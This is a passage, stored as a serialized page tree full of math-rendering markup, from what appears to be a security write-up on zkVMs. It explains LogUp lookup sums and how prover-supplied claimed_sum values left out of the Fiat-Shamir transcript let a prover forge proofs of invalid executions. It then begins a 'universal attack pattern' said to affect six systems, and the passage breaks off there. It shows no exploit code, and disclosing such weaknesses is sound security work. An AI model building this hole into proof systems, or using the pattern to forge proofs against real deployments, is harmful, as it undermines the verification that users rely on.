4906,"style":114908},[114907],"frac-line","border-bottom-width:0.04em;",[],{"type":24,"tag":158,"props":114911,"children":114913},{"style":114912},"top:-3.394em;",[114914,114918],{"type":24,"tag":158,"props":114915,"children":114917},{"className":114916,"style":113496},[5710],[],{"type":24,"tag":158,"props":114919,"children":114921},{"className":114920},[5716,5717,5718,5719],[114922],{"type":24,"tag":158,"props":114923,"children":114925},{"className":114924},[5669,5719],[114926],{"type":24,"tag":158,"props":114927,"children":114929},{"className":114928},[5669,5719],[114930],{"type":29,"value":5672},{"type":24,"tag":158,"props":114932,"children":114934},{"className":114933},[22989],[114935],{"type":29,"value":22992},{"type":24,"tag":158,"props":114937,"children":114939},{"className":114938},[5696],[114940],{"type":24,"tag":158,"props":114941,"children":114944},{"className":114942,"style":114943},[5701],"height:0.4033em;",[114945],{"type":24,"tag":158,"props":114946,"children":114947},{},[],{"type":24,"tag":158,"props":114949,"children":114951},{"className":114950},[22983,114843],[],{"type":24,"tag":158,"props":114953,"children":114955},{"className":114954,"style":5848},[5750],[],{"type":24,"tag":158,"props":114957,"children":114959},{"className":114958},[5853],[114960],{"type":29,"value":1285},{"type":24,"tag":158,"props":114962,"children":114964},{"className":114963,"style":5848},[5750],[],{"type":24,"tag":158,"props":114966,"children":114968},{"className":114967},[5658],[114969,114973,115045,115049],{"type":24,"tag":158,"props":114970,"children":114972},{"className":114971,"style":114757},[5663],[],{"type":24,"tag":158,"props":114974,"children":114976},{"className":114975},[22868],[114977,114982],{"type":24,"tag":158,"props":114978,"children":114980},{"className":114979,"style":22875},[22868,22873,22874],[114981],{"type":29,"value":110120},{"type":24,"tag":158,"props":114983,"children":114985},{"className":114984},[5686],[114986],{"type":24,"tag":158,"props":114987,"children":114989},{"className":114988},[5691,22886],[114990,115034],{"type":24,"tag":158,"props":114991,"children":114993},{"className":114992},[5696],[114994,115029],{"type":24,"tag":158,"props":114995,"children":114998},{"className":114996,"style":114997},[5701],"height:0.1864em;",[114999],{"type":24,"tag":158,"props":115000,"children":115001},{"style":22899},[115002,115006],{"type":24,"tag":158,"props":115003,"children":115005},{"className":115004,"style":5711},[5710],[],{"type":24,"tag":158,"props":115007,"children":115009},{"className":115008},[5716,5717,5718,5719],[115010],{"type":24,"tag":158,"props":115011,"children":115013},{"className":115012},[5669,5719],[115014,115019,115024],{"type":24,"tag":158,"props":115015,"children":115017},{"className":115016},[5669,22832,5719],[115018],{"type":29,"value":741},{"type":24,"tag":158,"props":115020,"children":115022},{"className":115021},[5853,5719],[115023],{"type":29,"value":22939},{"type":24,"tag":158,"props":115025,"children":115027},{"className":115026,"style":114729},[5669,22832,5719],[115028],{"type":29,"value":114732},{"type":24,"tag":158,"props":115030,"children":115032},{"className":115031},[22989],[115033],{"type":29,"value":22992},{"type":24,"tag":158,"props":115035,"children":115037},{"className":115036},[5696],[115038],{"type":24,"tag":158,"props":115039,"children":115041},{"className":115040,"style":114827},[5701],[115042],{"type":24,"tag":158,"props":115043,"children":115044},{},[],{"type":24,"tag":158,"props":115046,"children":115048},{"className":115047,"style":5789},[5750],[],{"type":24,"tag":158,"props":115050,"children":115052},{"className":115051},[5669],[115053,115057,115150],{"type":24,"tag":158,"props":115054,"children":115056},{"className":115055},[22961,114843],[],{"type":24,"tag":158,"props":115058,"children":115060},{"className":115059},[114848],[115061],{"type":24,"tag":158,"props":115062,"children":115064},{"className":115063},[5691,22886],[115065,115139],{"type":24,"tag":158,"props":115066,"children":115068},{"className":115067},[5696],[115069,115134],{"type":24,"tag":158,"props":115070,"children":115072},{"className":115071,"style":114861},[5701],[115073,115103,115114],{"type":24,"tag":158,"props":115074,"children":115075},{"style":114865},[115076,115080],{"type":24,"tag":158,"props":115077,"children":115079},{"className":115078,"style":113496},[5710],[],{"type":24,"tag":158,"props":115081,"children":115083},{"className":115082},[5716,5717,5718,5719],[115084],{"type":24,"tag":158,"props":115085,"children":115087},{"className":115086},[5669,5719],[115088,115093,115098],{"type":24,"tag":158,"props":115089,"children":115091},{"className":115090,"style":114882},[5669,22832,5719],[115092],{"type":29,"value":114885},{"type":24,"tag":158,"props":115094,"children":115096},{"className":115095},[5756,5719],[115097],{"type":29,"value":5730},{"type":24,"tag":158,"props":115099,"children":115101},{"className":115100},[5669,22832,5719],[115102],{"type":29,"value":741},{"type":24,"tag":158,"props":115104,"children":115105},{"style":114898},[115106,115110],{"type":24,"tag":158,"props":115107,"children":115109},{"className":115108,"style":113496},[5710],[],{"type":24,"tag":158,"props":115111,"children":115113},{"className":115112,"style":114908},[114907],[],{"type":24,"tag":158,"props":115115,"children":115116},{"style":114912},[115117,115121],{"type":24,"tag":158,"props":115118,"children":115120},{"className":115119,"style":113496},[5710],[],{"type":24,"tag":158,"props":115122,"children":115124},{"className":115123},[5716,5717,5718,5719],[115125],{"type":24,"tag":158,"props":115126,"children":115128},{"className":115127},[5669,5719],[115129],{"type":24,"tag":158,"props":115130,"children":115132},{"className":115131},[5669,5719],[115133],{"type":29,"value":5672},{"type":24,"tag":158,"props":115135,"children":115137},{"className":115136},[22989],[115138],{"type":29,"value":22992},{"type":24,"tag":158,"props":115140,"children":115142},{"className":115141},[5696],[115143],{"type":24,"tag":158,"props":115144,"children":115146},{"className":115145,"style":114943},[5701],[115147],{"type":24,"tag":158,"props":115148,"children":115149},{},[],{"type":24,"tag":158,"props":115151,"children":115153},{"className":115152},[22983,114843],[],{"type":24,"tag":25,"props":115155,"children":115156},{},[115157,115159,115184],{"type":29,"value":115158},"for random challenge ",{"type":24,"tag":154,"props":115160,"children":115162},{"className":115161},[5642,5643],[115163],{"type":24,"tag":158,"props":115164,"children":115166},{"className":115165},[5648],[115167],{"type":24,"tag":158,"props":115168,"children":115170},{"className":115169,"ariaHidden":3185},[5653],[115171],{"type":24,"tag":158,"props":115172,"children":115174},{"className":115173},[5658],[115175,115179],{"type":24,"tag":158,"props":115176,"children":115178},{"className":115177,"style":112166},[5663],[],{"type":24,"tag":158,"props":115180,"children":115182},{"className":115181,"style":114882},[5669,22832],[115183],{"type":29,"value":114885},{"type":29,"value":115185},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":24,"tag":25,"props":115187,"children":115188},{},[115189,115194],{"type":24,"tag":897,"props":115190,"children":115191},{},[115192],{"type":29,"value":115193},"In zkVMs:",{"type":29,"value":115195}," Different components emit and consume lookup tuples:",{"type":24,"tag":17924,"props":115197,"children":115198},{},[115199,115286],{"type":24,"tag":1790,"props":115200,"children":115201},{},[115202,115204,115230,115232,115257,115259,115285],{"type":29,"value":115203},"CPU emits: \"I read value ",{"type":24,"tag":154,"props":115205,"children":115207},{"className":115206},[5642,5643],[115208],{"type":24,"tag":158,"props":115209,"children":115211},{"className":115210},[5648],[115212],{"type":24,"tag":158,"props":115213,"children":115215},{"className":115214,"ariaHidden":3185},[5653],[115216],{"type":24,"tag":158,"props":115217,"children":115219},{"className":115218},[5658],[115220,115224],{"type":24,"tag":158,"props":115221,"children":115223},{"className":115222,"style":112166},[5663],[],{"type":24,"tag":158,"props":115225,"children":115227},{"className":115226,"style":94811},[5669,22832],[115228],{"type":29,"value":115229},"v",{"type":29,"value":115231}," from address ",{"type":24,"tag":154,"props":115233,"children":115235},{"className":115234},[5642,5643],[115236],{"type":24,"tag":158,"props":115237,"children":115239},{"className":115238},[5648],[115240],{"type":24,"tag":158,"props":115241,"children":115243},{"className":115242,"ariaHidden":3185},[5653],[115244],{"type":24,"tag":158,"props":115245,"children":115247},{"className":115246},[5658],[115248,115252],{"type":24,"tag":158,"props":115249,"children":115251},{"className":115250,"style":112166},[5663],[],{"type":24,"tag":158,"props":115253,"children":115255},{"className":115254},[5669,22832],[115256],{"type":29,"value":101},{"type":29,"value":115258}," at time ",{"type":24,"tag":154,"props":115260,"children":115262},{"className":115261},[5642,5643],[115263],{"type":24,"tag":158,"props":115264,"children":115266},{"className":115265},[5648],[115267],{"type":24,"tag":158,"props":115268,"children":115270},{"className":115269,"ariaHidden":3185},[5653],[115271],{"type":24,"tag":158,"props":115272,"children":115274},{"className":115273},[5658],[115275,115280],{"type":24,"tag":158,"props":115276,"children":115279},{"className":115277,"style":115278},[5663],"height:0.6151em;",[],{"type":24,"tag":158,"props":115281,"children":115283},{"className":115282},[5669,22832],[115284],{"type":29,"value":22974},{"type":29,"value":21303},{"type":24,"tag":1790,"props":115287,"children":115288},{},[115289,115291,115316,115318,115343,115345,115370],{"type":29,"value":115290},"Memory table consumes: \"At time ",{"type":24,"tag":154,"props":115292,"children":115294},{"className":115293},[5642,5643],[115295],{"type":24,"tag":158,"props":115296,"children":115298},{"className":115297},[5648],[115299],{"type":24,"tag":158,"props":115300,"children":115302},{"className":115301,"ariaHidden":3185},[5653],[115303],{"type":24,"tag":158,"props":115304,"children":115306},{"className":115305},[5658],[115307,115311],{"type":24,"tag":158,"props":115308,"children":115310},{"className":115309,"style":115278},[5663],[],{"type":24,"tag":158,"props":115312,"children":115314},{"className":115313},[5669,22832],[115315],{"type":29,"value":22974},{"type":29,"value":115317},", address ",{"type":24,"tag":154,"props":115319,"children":115321},{"className":115320},[5642,5643],[115322],{"type":24,"tag":158,"props":115323,"children":115325},{"className":115324},[5648],[115326],{"type":24,"tag":158,"props":115327,"children":115329},{"className":115328,"ariaHidden":3185},[5653],[115330],{"type":24,"tag":158,"props":115331,"children":115333},{"className":115332},[5658],[115334,115338],{"type":24,"tag":158,"props":115335,"children":115337},{"className":115336,"style":112166},[5663],[],{"type":24,"tag":158,"props":115339,"children":115341},{"className":115340},[5669,22832],[115342],{"type":29,"value":101},{"type":29,"value":115344}," contained ",{"type":24,"tag":154,"props":115346,"children":115348},{"className":115347},[5642,5643],[115349],{"type":24,"tag":158,"props":115350,"children":115352},{"className":115351},[5648],[115353],{"type":24,"tag":158,"props":115354,"children":115356},{"className":115355,"ariaHidden":3185},[5653],[115357],{"type":24,"tag":158,"props":115358,"children":115360},{"className":115359},[5658],[115361,115365],{"type":24,"tag":158,"props":115362,"children":115364},{"className":115363,"style":112166},[5663],[],{"type":24,"tag":158,"props":115366,"children":115368},{"className":115367,"style":94811},[5669,22832],[115369],{"type":29,"value":115229},{"type":29,"value":21303},{"type":24,"tag":25,"props":115372,"children":115373},{},[115374],{"type":29,"value":115375},"If everything balances, the execution is consistent.",{"type":24,"tag":25,"props":115377,"children":115378},{},[115379,115384],{"type":24,"tag":897,"props":115380,"children":115381},{},[115382],{"type":29,"value":115383},"The claimed_sum:",{"type":29,"value":115385}," Each component computes its contribution to the LogUp sum:",{"type":24,"tag":25,"props":115387,"children":115388},{},[115389],{"type":24,"tag":154,"props":115390,"children":115392},{"className":115391},[5642,5643],[115393],{"type":24,"tag":158,"props":115394,"children":115396},{"className":115395},[5648],[115397],{"type":24,"tag":158,"props":115398,"children":115400},{"className":115399,"ariaHidden":3185},[5653],[115401,115499,115750],{"type":24,"tag":158,"props":115402,"children":115404},{"className":115403},[5658],[115405,115409,115419,115424,115486,115490,115495],{"type":24,"tag":158,"props":115406,"children":115408},{"className":115407,"style":95738},[5663],[],{"type":24,"tag":158,"props":115410,"children":115412},{"className":115411},[5669,29],[115413],{"type":24,"tag":158,"props":115414,"children":115416},{"className":115415},[5669],[115417],{"type":29,"value":115418},"claimed",{"type":24,"tag":158,"props":115420,"children":115422},{"className":115421,"style":94325},[5669],[115423],{"type":29,"value":4750},{"type":24,"tag":158,"props":115425,"children":115427},{"className":115426},[5669],[115428,115437],{"type":24,"tag":158,"props":115429,"children":115431},{"className":115430},[5669,29],[115432],{"type":24,"tag":158,"props":115433,"children":115435},{"className":115434},[5669],[115436],{"type":29,"value":77910},{"type":24,"tag":158,"props":115438,"children":115440},{"className":115439},[5686],[115441],{"type":24,"tag":158,"props":115442,"children":115444},{"className":115443},[5691,22886],[115445,115475],{"type":24,"tag":158,"props":115446,"children":115448},{"className":115447},[5696],[115449,115470],{"type":24,"tag":158,"props":115450,"children":115452},{"className":115451,"style":94854},[5701],[115453],{"type":24,"tag":158,"props":115454,"children":115456},{"style":115455},"top:-2.55em;margin-right:0.05em;",[115457,115461],{"type":24,"tag":158,"props":115458,"children":115460},{"className":115459,"style":5711},[5710],[],{"type":24,"tag":158,"props":115462,"children":115464},{"className":115463},[5716,5717,5718,5719],[115465],{"type":24,"tag":158,"props":115466,"children":115468},{"className":115467},[5669,22832,5719],[115469],{"type":29,"value":1832},{"type":24,"tag":158,"props":115471,"children":115473},{"className":115472},[22989],[115474],{"type":29,"value":22992},{"type":24,"tag":158,"props":115476,"children":115478},{"className":115477},[5696],[115479],{"type":24,"tag":158,"props":115480,"children":115482},{"className":115481,"style":94408},[5701],[115483],{"type":24,"tag":158,"props":115484,"children":115485},{},[],{"type":24,"tag":158,"props":115487,"children":115489},{"className":115488,"style":5848},[5750],[],{"type":24,"tag":158,"props":115491,"children":115493},{"className":115492},[5853],[115494],{"type":29,"value":1285},{"type":24,"tag":158,"props":115496,"children":115498},{"className":115497,"style":5848},[5750],[],{"type":24,"tag":158,"props":115500,"children":115502},{"className":115501},[5658],[115503,115508,115568,115572,115737,115741,115746],{"type":24,"tag":158,"props":115504,"children":115507},{"className":115505,"style":115506},[5663],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":24,"tag":158,"props":115509,"children":115511},{"className":115510},[22868],[115512,115517],{"type":24,"tag":158,"props":115513,"children":115515},{"className":115514,"style":22875},[22868,22873,22874],[115516],{"type":29,"value":110120},{"type":24,"tag":158,"props":115518,"children":115520},{"className":115519},[5686],[115521],{"type":24,"tag":158,"props":115522,"children":115524},{"className":115523},[5691,22886],[115525,115556],{"type":24,"tag":158,"props":115526,"children":115528},{"className":115527},[5696],[115529,115551],{"type":24,"tag":158,"props":115530,"children":115533},{"className":115531,"style":115532},[5701],"height:0.162em;",[115534],{"type":24,"tag":158,"props":115535,"children":115536},{"style":22899},[115537,115541],{"type":24,"tag":158,"props":115538,"children":115540},{"className":115539,"style":5711},[5710],[],{"type":24,"tag":158,"props":115542,"children":115544},{"className":115543},[5716,5717,5718,5719],[115545],{"type":24,"tag":158,"props":115546,"children":115549},{"className":115547,"style":115548},[5669,22832,5719],"margin-right:0.05724em;",[115550],{"type":29,"value":2053},{"type":24,"tag":158,"props":115552,"children":115554},{"className":115553},[22989],[115555],{"type":29,"value":22992},{"type":24,"tag":158,"props":115557,"children":115559},{"className":115558},[5696],[115560],{"type":24,"tag":158,"props":115561,"children":115564},{"className":115562,"style":115563},[5701],"height:0.4358em;",[115565],{"type":24,"tag":158,"props":115566,"children":115567},{},[],{"type":24,"tag":158,"props":115569,"children":115571},{"className":115570,"style":5789},[5750],[],{"type":24,"tag":158,"props":115573,"children":115575},{"className":115574},[5669],[115576,115580,115733],{"type":24,"tag":158,"props":115577,"children":115579},{"className":115578},[22961,114843],[],{"type":24,"tag":158,"props":115581,"children":115583},{"className":115582},[114848],[115584],{"type":24,"tag":158,"props":115585,"children":115587},{"className":115586},[5691,22886],[115588,115721],{"type":24,"tag":158,"props":115589,"children":115591},{"className":115590},[5696],[115592,115716],{"type":24,"tag":158,"props":115593,"children":115595},{"className":115594,"style":114861},[5701],[115596,115685,115696],{"type":24,"tag":158,"props":115597,"children":115598},{"style":114865},[115599,115603],{"type":24,"tag":158,"props":115600,"children":115602},{"className":115601,"style":113496},[5710],[],{"type":24,"tag":158,"props":115604,"children":115606},{"className":115605},[5716,5717,5718,5719],[115607],{"type":24,"tag":158,"props":115608,"children":115610},{"className":115609},[5669,5719],[115611,115616,115621],{"type":24,"tag":158,"props":115612,"children":115614},{"className":115613,"style":114882},[5669,22832,5719],[115615],{"type":29,"value":114885},{"type":24,"tag":158,"props":115617,"children":115619},{"className":115618},[5756,5719],[115620],{"type":29,"value":5730},{"type":24,"tag":158,"props":115622,"children":115624},{"className":115623},[5669,5719],[115625,115634],{"type":24,"tag":158,"props":115626,"children":115628},{"className":115627},[5669,29,5719],[115629],{"type":24,"tag":158,"props":115630,"children":115632},{"className":115631},[5669,5719],[115633],{"type":29,"value":63282},{"type":24,"tag":158,"props":115635,"children":115637},{"className":115636},[5686],[115638],{"type":24,"tag":158,"props":115639,"children":115641},{"className":115640},[5691,22886],[115642,115673],{"type":24,"tag":158,"props":115643,"children":115645},{"className":115644},[5696],[115646,115668],{"type":24,"tag":158,"props":115647,"children":115650},{"className":115648,"style":115649},[5701],"height:0.3281em;",[115651],{"type":24,"tag":158,"props":115652,"children":115654},{"style":115653},"top:-2.357em;margin-right:0.0714em;",[115655,115659],{"type":24,"tag":158,"props":115656,"children":115658},{"className":115657,"style":110185},[5710],[],{"type":24,"tag":158,"props":115660,"children":115662},{"className":115661},[5716,110190,110191,5719],[115663],{"type":24,"tag":158,"props":115664,"children":115666},{"className":115665,"style":115548},[5669,22832,5719],[115667],{"type":29,"value":2053},{"type":24,"tag":158,"props":115669,"children":115671},{"className":115670},[22989],[115672],{"type":29,"value":22992},{"type":24,"tag":158,"props":115674,"children":115676},{"className":115675},[5696],[115677],{"type":24,"tag":158,"props":115678,"children":115681},{"className":115679,"style":115680},[5701],"height:0.2819em;",[115682],{"type":24,"tag":158,"props":115683,"children":115684},{},[],{"type":24,"tag":158,"props":115686,"children":115687},{"style":114898},[115688,115692],{"type":24,"tag":158,"props":115689,"children":115691},{"className":115690,"style":113496},[5710],[],{"type":24,"tag":158,"props":115693,"children":115695},{"className":115694,"style":114908},[114907],[],{"type":24,"tag":158,"props":115697,"children":115698},{"style":114912},[115699,115703],{"type":24,"tag":158,"props":115700,"children":115702},{"className":115701,"style":113496},[5710],[],{"type":24,"tag":158,"props":115704,"children":115706},{"className":115705},[5716,5717,5718,5719],[115707],{"type":24,"tag":158,"props":115708,"children":115710},{"className":115709},[5669,5719],[115711],{"type":24,"tag":158,"props":115712,"children":115714},{"className":115713},[5669,5719],[115715],{"type":29,"value":5672},{"type":24,"tag":158,"props":115717,"children":115719},{"className":115718},[22989],[115720],{"type":29,"value":22992},{"type":24,"tag":158,"props":115722,"children":115724},{"className":115723},[5696],[115725],{"type":24,"tag":158,"props":115726,"children":115729},{"className":115727,"style":115728},[5701],"height:0.5423em;",[115730],{"type":24,"tag":158,"props":115731,"children":115732},{},[],{"type":24,"tag":158,"props":115734,"children":115736},{"className":115735},[22983,114843],[],{"type":24,"tag":158,"props":115738,"children":115740},{"className":115739,"style":5751},[5750],[],{"type":24,"tag":158,"props":115742,"children":115744},{"className":115743},[5756],[115745],{"type":29,"value":5730},{"type":24,"tag":158,"props":115747,"children":115749},{"className":115748,"style":5751},[5750],[],{"type":24,"tag":158,"props":115751,"children":115753},{"className":115752},[5658],[115754,115759,115817,115821],{"type":24,"tag":158,"props":115755,"children":115758},{"className":115756,"style":115757},[5663],"height:1.296em;vertical-align:-0.4509em;",[],{"type":24,"tag":158,"props":115760,"children":115762},{"className":115761},[22868],[115763,115768],{"type":24,"tag":158,"props":115764,"children":115766},{"className":115765,"style":22875},[22868,22873,22874],[115767],{"type":29,"value":110120},{"type":24,"tag":158,"props":115769,"children":115771},{"className":115770},[5686],[115772],{"type":24,"tag":158,"props":115773,"children":115775},{"className":115774},[5691,22886],[115776,115805],{"type":24,"tag":158,"props":115777,"children":115779},{"className":115778},[5696],[115780,115800],{"type":24,"tag":158,"props":115781,"children":115783},{"className":115782,"style":114997},[5701],[115784],{"type":24,"tag":158,"props":115785,"children":115786},{"style":22899},[115787,115791],{"type":24,"tag":158,"props":115788,"children":115790},{"className":115789,"style":5711},[5710],[],{"type":24,"tag":158,"props":115792,"children":115794},{"className":115793},[5716,5717,5718,5719],[115795],{"type":24,"tag":158,"props":115796,"children":115798},{"className":115797,"style":95754},[5669,22832,5719],[115799],{"type":29,"value":89962},{"type":24,"tag":158,"props":115801,"children":115803},{"className":115802},[22989],[115804],{"type":29,"value":22992},{"type":24,"tag":158,"props":115806,"children":115808},{"className":115807},[5696],[115809],{"type":24,"tag":158,"props":115810,"children":115813},{"className":115811,"style":115812},[5701],"height:0.2997em;",[115814],{"type":24,"tag":158,"props":115815,"children":115816},{},[],{"type":24,"tag":158,"props":115818,"children":115820},{"className":115819,"style":5789},[5750],[],{"type":24,"tag":158,"props":115822,"children":115824},{"className":115823},[5669],[115825,115829,115982],{"type":24,"tag":158,"props":115826,"children":115828},{"className":115827},[22961,114843],[],{"type":24,"tag":158,"props":115830,"children":115832},{"className":115831},[114848],[115833],{"type":24,"tag":158,"props":115834,"children":115836},{"className":115835},[5691,22886],[115837,115970],{"type":24,"tag":158,"props":115838,"children":115840},{"className":115839},[5696],[115841,115965],{"type":24,"tag":158,"props":115842,"children":115844},{"className":115843,"style":114861},[5701],[115845,115934,115945],{"type":24,"tag":158,"props":115846,"children":115847},{"style":114865},[115848,115852],{"type":24,"tag":158,"props":115849,"children":115851},{"className":115850,"style":113496},[5710],[],{"type":24,"tag":158,"props":115853,"children":115855},{"className":115854},[5716,5717,5718,5719],[115856],{"type":24,"tag":158,"props":115857,"children":115859},{"className":115858},[5669,5719],[115860,115865,115870],{"type":24,"tag":158,"props":115861,"children":115863},{"className":115862,"style":114882},[5669,22832,5719],[115864],{"type":29,"value":114885},{"type":24,"tag":158,"props":115866,"children":115868},{"className":115867},[5756,5719],[115869],{"type":29,"value":5730},{"type":24,"tag":158,"props":115871,"children":115873},{"className":115872},[5669,5719],[115874,115884],{"type":24,"tag":158,"props":115875,"children":115877},{"className":115876},[5669,29,5719],[115878],{"type":24,"tag":158,"props":115879,"children":115881},{"className":115880},[5669,5719],[115882],{"type":29,"value":115883},"consume",{"type":24,"tag":158,"props":115885,"children":115887},{"className":115886},[5686],[115888],{"type":24,"tag":158,"props":115889,"children":115891},{"className":115890},[5691,22886],[115892,115922],{"type":24,"tag":158,"props":115893,"children":115895},{"className":115894},[5696],[115896,115917],{"type":24,"tag":158,"props":115897,"children":115899},{"className":115898,"style":113657},[5701],[115900],{"type":24,"tag":158,"props":115901,"children":115903},{"style":115902},"top:-2.3488em;margin-right:0.0714em;",[115904,115908],{"type":24,"tag":158,"props":115905,"children":115907},{"className":115906,"style":110185},[5710],[],{"type":24,"tag":158,"props":115909,"children":115911},{"className":115910},[5716,110190,110191,5719],[115912],{"type":24,"tag":158,"props":115913,"children":115915},{"className":115914,"style":95754},[5669,22832,5719],[115916],{"type":29,"value":89962},{"type":24,"tag":158,"props":115918,"children":115920},{"className":115919},[22989],[115921],{"type":29,"value":22992},{"type":24,"tag":158,"props":115923,"children":115925},{"className":115924},[5696],[115926],{"type":24,"tag":158,"props":115927,"children":115930},{"className":115928,"style":115929},[5701],"height:0.1512em;",[115931],{"type":24,"tag":158,"props":115932,"children":115933},{},[],{"type":24,"tag":158,"props":115935,"children":115936},{"style":114898},[115937,115941],{"type":24,"tag":158,"props":115938,"children":115940},{"className":115939,"style":113496},[5710],[],{"type":24,"tag":158,"props":115942,"children":115944},{"className":115943,"style":114908},[114907],[],{"type":24,"tag":158,"props":115946,"children":115947},{"style":114912},[115948,115952],{"type":24,"tag":158,"props":115949,"children":115951},{"className":115950,"style":113496},[5710],[],{"type":24,"tag":158,"props":115953,"children":115955},{"className":115954},[5716,5717,5718,5719],[115956],{"type":24,"tag":158,"props":115957,"children":115959},{"className":115958},[5669,5719],[115960],{"type":24,"tag":158,"props":115961,"children":115963},{"className":115962},[5669,5719],[115964],{"type":29,"value":5672},{"type":24,"tag":158,"props":115966,"children":115968},{"className":115967},[22989],[115969],{"type":29,"value":22992},{"type":24,"tag":158,"props":115971,"children":115973},{"className":115972},[5696],[115974],{"type":24,"tag":158,"props":115975,"children":115978},{"className":115976,"style":115977},[5701],"height:0.4509em;",[115979],{"type":24,"tag":158,"props":115980,"children":115981},{},[],{"type":24,"tag":158,"props":115983,"children":115985},{"className":115984},[22983,114843],[],{"type":24,"tag":25,"props":115987,"children":115988},{},[115989,115991,116173],{"type":29,"value":115990},"The global check: ",{"type":24,"tag":154,"props":115992,"children":115994},{"className":115993},[5642,5643],[115995],{"type":24,"tag":158,"props":115996,"children":115998},{"className":115997},[5648],[115999],{"type":24,"tag":158,"props":116000,"children":116002},{"className":116001,"ariaHidden":3185},[5653],[116003,116160],{"type":24,"tag":158,"props":116004,"children":116006},{"className":116005},[5658],[116007,116011,116068,116072,116081,116086,116147,116151,116156],{"type":24,"tag":158,"props":116008,"children":116010},{"className":116009,"style":94267},[5663],[],{"type":24,"tag":158,"props":116012,"children":116014},{"className":116013},[22868],[116015,116020],{"type":24,"tag":158,"props":116016,"children":116018},{"className":116017,"style":22875},[22868,22873,22874],[116019],{"type":29,"value":110120},{"type":24,"tag":158,"props":116021,"children":116023},{"className":116022},[5686],[116024],{"type":24,"tag":158,"props":116025,"children":116027},{"className":116026},[5691,22886],[116028,116057],{"type":24,"tag":158,"props":116029,"children":116031},{"className":116030},[5696],[116032,116052],{"type":24,"tag":158,"props":116033,"children":116035},{"className":116034,"style":115532},[5701],[116036],{"type":24,"tag":158,"props":116037,"children":116038},{"style":22899},[116039,116043],{"type":24,"tag":158,"props":116040,"children":116042},{"className":116041,"style":5711},[5710],[],{"type":24,"tag":158,"props":116044,"children":116046},{"className":116045},[5716,5717,5718,5719],[116047],{"type":24,"tag":158,"props":116048,"children":116050},{"className":116049},[5669,22832,5719],[116051],{"type":29,"value":1832},{"type":24,"tag":158,"props":116053,"children":116055},{"className":116054},[22989],[116056],{"type":29,"value":22992},{"type":24,"tag":158,"props":116058,"children":116060},{"className":116059},[5696],[116061],{"type":24,"tag":158,"props":116062,"children":116064},{"className":116063,"style":115812},[5701],[116065],{"type":24,"tag":158,"props":116066,"children":116067},{},[],{"type":24,"tag":158,"props":116069,"children":116071},{"className":116070,"style":5789},[5750],[],{"type":24,"tag":158,"props":116073,"children":116075},{"className":116074},[5669,29],[116076],{"type":24,"tag":158,"props":116077,"children":116079},{"className":116078},[5669],[116080],{"type":29,"value":115418},{"type":24,"tag":158,"props":116082,"children":116084},{"className":116083,"style":94325},[5669],[116085],{"type":29,"value":4750},{"type":24,"tag":158,"props":116087,"children":116089},{"className":116088},[5669],[116090,116099],{"type":24,"tag":158,"props":116091,"children":116093},{"className":116092},[5669,29],[116094],{"type":24,"tag":158,"props":116095,"children":116097},{"className":116096},[5669],[116098],{"type":29,"value":77910},{"type":24,"tag":158,"props":116100,"children":116102},{"className":116101},[5686],[116103],{"type":24,"tag":158,"props":116104,"children":116106},{"className":116105},[5691,22886],[116107,116136],{"type":24,"tag":158,"props":116108,"children":116110},{"className":116109},[5696],[116111,116131],{"type":24,"tag":158,"props":116112,"children":116114},{"className":116113,"style":94854},[5701],[116115],{"type":24,"tag":158,"props":116116,"children":116117},{"style":115455},[116118,116122],{"type":24,"tag":158,"props":116119,"children":116121},{"className":116120,"style":5711},[5710],[],{"type":24,"tag":158,"props":116123,"children":116125},{"className":116124},[5716,5717,5718,5719],[116126],{"type":24,"tag":158,"props":116127,"children":116129},{"className":116128},[5669,22832,5719],[116130],{"type":29,"value":1832},{"type":24,"tag":158,"props":116132,"children":116134},{"className":116133},[22989],[116135],{"type":29,"value":22992},{"type":24,"tag":158,"props":116137,"children":116139},{"className":116138},[5696],[116140],{"type":24,"tag":158,"props":116141,"children":116143},{"className":116142,"style":94408},[5701],[116144],{"type":24,"tag":158,"props":116145,"children":116146},{},[],{"type":24,"tag":158,"props":116148,"children":116150},{"className":116149,"style":5848},[5750],[],{"type":24,"tag":158,"props":116152,"children":116154},{"className":116153},[5853],[116155],{"type":29,"value":1285},{"type":24,"tag":158,"props":116157,"children":116159},{"className":116158,"style":5848},[5750],[],{"type":24,"tag":158,"props":116161,"children":116163},{"className":116162},[5658],[116164,116168],{"type":24,"tag":158,"props":116165,"children":116167},{"className":116166,"style":95356},[5663],[],{"type":24,"tag":158,"props":116169,"children":116171},{"className":116170},[5669],[116172],{"type":29,"value":5682},{"type":29,"value":347},{"type":24,"tag":25,"props":116175,"children":116176},{},[116177,116182,116184,116190],{"type":24,"tag":897,"props":116178,"children":116179},{},[116180],{"type":29,"value":116181},"Why this is vulnerable:",{"type":29,"value":116183}," The ",{"type":24,"tag":154,"props":116185,"children":116187},{"className":116186},[],[116188],{"type":29,"value":116189},"claimed_sum",{"type":29,"value":116191}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":24,"tag":20034,"props":116193,"children":116194},{},[],{"type":24,"tag":59,"props":116196,"children":116198},{"id":116197},"the-universal-attack-pattern",[116199],{"type":29,"value":116200},"The Universal Attack Pattern",{"type":24,"tag":25,"props":116202,"children":116203},{},[116204],{"type":29,"value":116205},"Now we can describe the attack pattern that works on all six systems:",{"type":24,"tag":25,"props":116207,"children":116208},{},[116209],{"type":24,"tag":84,"props":116210,"children":116213},{"alt":116211,"src":116212},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":24,"tag":25,"props":116215,"children":116216},{},[116217,116219,116244],{"type":29,"value":116218},"When a value ",{"type":24,"tag":154,"props":116220,"children":116222},{"className":116221},[5642,5643],[116223],{"type":24,"tag":158,"props":116224,"children":116226},{"className":116225},[5648],[116227],{"type":24,"tag":158,"props":116228,"children":116230},{"className":116229,"ariaHidden":3185},[5653],[116231],{"type":24,"tag":158,"props":116232,"children":116234},{"className":116233},[5658],[116235,116239],{"type":24,"tag":158,"props":116236,"children":116238},{"className":116237,"style":22827},[5663],[],{"type":24,"tag":158,"props":116240,"children":116242},{"className":116241,"style":109523},[5669,22832],[116243],{"type":29,"value":109847},{"type":29,"value":116245}," isn't transcript-bound:",{"type":24,"tag":1786,"props":116247,"children":116248},{},[116249,116280,116357,116502],{"type":24,"tag":1790,"props":116250,"children":116251},{},[116252,116254,116279],{"type":29,"value":116253},"Challenges are fixed (independent of 